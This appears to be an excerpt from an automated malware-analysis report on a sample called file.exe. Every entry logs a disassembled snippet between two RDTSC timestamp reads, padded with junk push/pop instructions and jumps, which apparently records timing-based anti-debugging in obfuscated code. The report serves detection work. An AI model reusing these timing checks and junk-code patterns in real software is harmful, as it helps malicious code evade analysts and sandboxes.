Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63854D second address: 638551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63895A second address: 638988 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F789CC6148Dh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F789CC61496h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638988 second address: 638996 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638996 second address: 63899C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63899C second address: 6389A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63D6D4 second address: 63D6E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F789CC614A4h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EC49 second address: 63EC4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EC4F second address: 63EC5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F789CC61486h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EC5E second address: 63EC62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EC62 second address: 63EC66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644446 second address: 64444A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644598 second address: 6445B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F789CC61493h 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6445B3 second address: 6445CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push esi 0x00000007 pop esi 0x00000008 jmp 00007F789C73D5B0h 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644CAB second address: 644CE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F789CC61490h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F789CC61499h 0x00000012 jne 00007F789CC61486h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644CE2 second address: 644CEC instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F789C73D5A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644CEC second address: 644D00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007F789CC6148Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644D00 second address: 644D13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789C73D5ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64515D second address: 645179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F789CC61498h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645179 second address: 64517D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645A29 second address: 645A2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646185 second address: 64618B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64618B second address: 64618F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64CEEE second address: 64CF0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F789C73D5B4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64CF0E second address: 64CF16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64CF16 second address: 64CF2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789C73D5B1h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64CF2D second address: 64CF4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789CC61494h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64CF4C second address: 64CF52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D1FD second address: 64D208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F789CC61486h 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6580B7 second address: 6580BC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6580BC second address: 6580DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F789CC6148Fh 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jl 00007F789CC6148Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65CE46 second address: 65CE4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65CE4A second address: 65CE50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C9CD second address: 65C9E4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F789C73D5AFh 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C9E4 second address: 65C9F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F789CC61486h 0x0000000a jnc 00007F789CC61486h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C9F4 second address: 65C9F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C9F8 second address: 65CA03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65FB83 second address: 65FB9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789C73D5B2h 0x00000007 jl 00007F789C73D5A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65FB9F second address: 65FBAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F789CC61486h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65FBAA second address: 65FBDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 jne 00007F789C73D5ACh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jnp 00007F789C73D5ACh 0x00000018 jmp 00007F789C73D5AAh 0x0000001d push ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65FBDB second address: 65FBE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F789CC61486h 0x0000000a pop ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B135 second address: 66B171 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F789C73D5AEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F789C73D5AFh 0x00000010 pushad 0x00000011 jbe 00007F789C73D5A6h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e jne 00007F789C73D5A6h 0x00000024 jbe 00007F789C73D5A6h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B171 second address: 66B17D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B17D second address: 66B187 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F789C73D5A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B187 second address: 66B198 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789CC6148Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F4C6 second address: 66F4CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6744BF second address: 6744DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789CC61499h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6747C3 second address: 6747C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674941 second address: 674945 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674945 second address: 674977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jbe 00007F789C73D5E5h 0x0000000d push esi 0x0000000e jmp 00007F789C73D5B9h 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 jbe 00007F789C73D5A6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674B1A second address: 674B38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F789CC61486h 0x00000009 jmp 00007F789CC61493h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679A00 second address: 679A17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F789C73D5B3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679A17 second address: 679A1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B226 second address: 67B22A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682EA8 second address: 682EAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682EAE second address: 682EE0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c je 00007F789C73D5A6h 0x00000012 jmp 00007F789C73D5B3h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d pop eax 0x0000001e jno 00007F789C73D5A6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 686928 second address: 68692E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6956AC second address: 6956B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6956B0 second address: 6956B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69551C second address: 695556 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F789C73D5A6h 0x00000008 jne 00007F789C73D5A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jns 00007F789C73D5A8h 0x00000016 jmp 00007F789C73D5B3h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e jnl 00007F789C73D5A8h 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695556 second address: 69555A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69555A second address: 69556D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789C73D5AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 696CC5 second address: 696CD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F789CC6148Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C2EC second address: 69C2F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C2F0 second address: 69C2FF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C2FF second address: 69C303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C303 second address: 69C328 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789CC6148Eh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c jmp 00007F789CC6148Dh 0x00000011 push edx 0x00000012 pop edx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAC55 second address: 6AAC5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAC5B second address: 6AAC5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAC5F second address: 6AAC6E instructions: 0x00000000 rdtsc 0x00000002 je 00007F789C73D5A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAD86 second address: 6AADA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789CC61498h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AADA7 second address: 6AADBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F789C73D5A6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AADBB second address: 6AADC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AADC6 second address: 6AADCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AADCC second address: 6AADD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jne 00007F789CC61488h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AADD9 second address: 6AADEC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F789C73D5AAh 0x00000008 pop ecx 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB3DE second address: 6AB3E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB3E4 second address: 6AB3EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB3EA second address: 6AB3EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB3EE second address: 6AB415 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789C73D5B3h 0x00000007 jns 00007F789C73D5A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007F789C73D5A6h 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB547 second address: 6AB54B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB682 second address: 6AB68E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jbe 00007F789C73D5A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB96F second address: 6AB973 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB973 second address: 6AB98C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F789C73D5B3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB98C second address: 6AB9B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F789CC61499h 0x00000009 jmp 00007F789CC6148Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE622 second address: 6AE639 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789C73D5B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEBA1 second address: 6AEBAE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEBAE second address: 6AEBFD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jo 00007F789C73D5A6h 0x0000000d pop edx 0x0000000e popad 0x0000000f nop 0x00000010 jmp 00007F789C73D5B7h 0x00000015 push dword ptr [ebp+1246A6B2h] 0x0000001b jmp 00007F789C73D5B5h 0x00000020 push 59F6AD05h 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push ecx 0x00000029 pop ecx 0x0000002a push ecx 0x0000002b pop ecx 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AFD3A second address: 6AFD3F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B184D second address: 6B1853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B1853 second address: 6B1858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B1858 second address: 6B1892 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F789C73D5B2h 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F789C73D5AAh 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 jmp 00007F789C73D5AAh 0x0000001c popad 0x0000001d pushad 0x0000001e push eax 0x0000001f pop eax 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B1427 second address: 6B143A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 js 00007F789CC61494h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B326D second address: 6B3277 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3277 second address: 6B327D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B327D second address: 6B328A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F789C73D5A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF028B second address: 4CF02DD instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F789CC61496h 0x00000008 jmp 00007F789CC61495h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 xchg eax, ebp 0x00000012 jmp 00007F789CC6148Eh 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F789CC6148Eh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF02DD second address: 4CF02E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF02E3 second address: 4CF02FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789CC6148Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
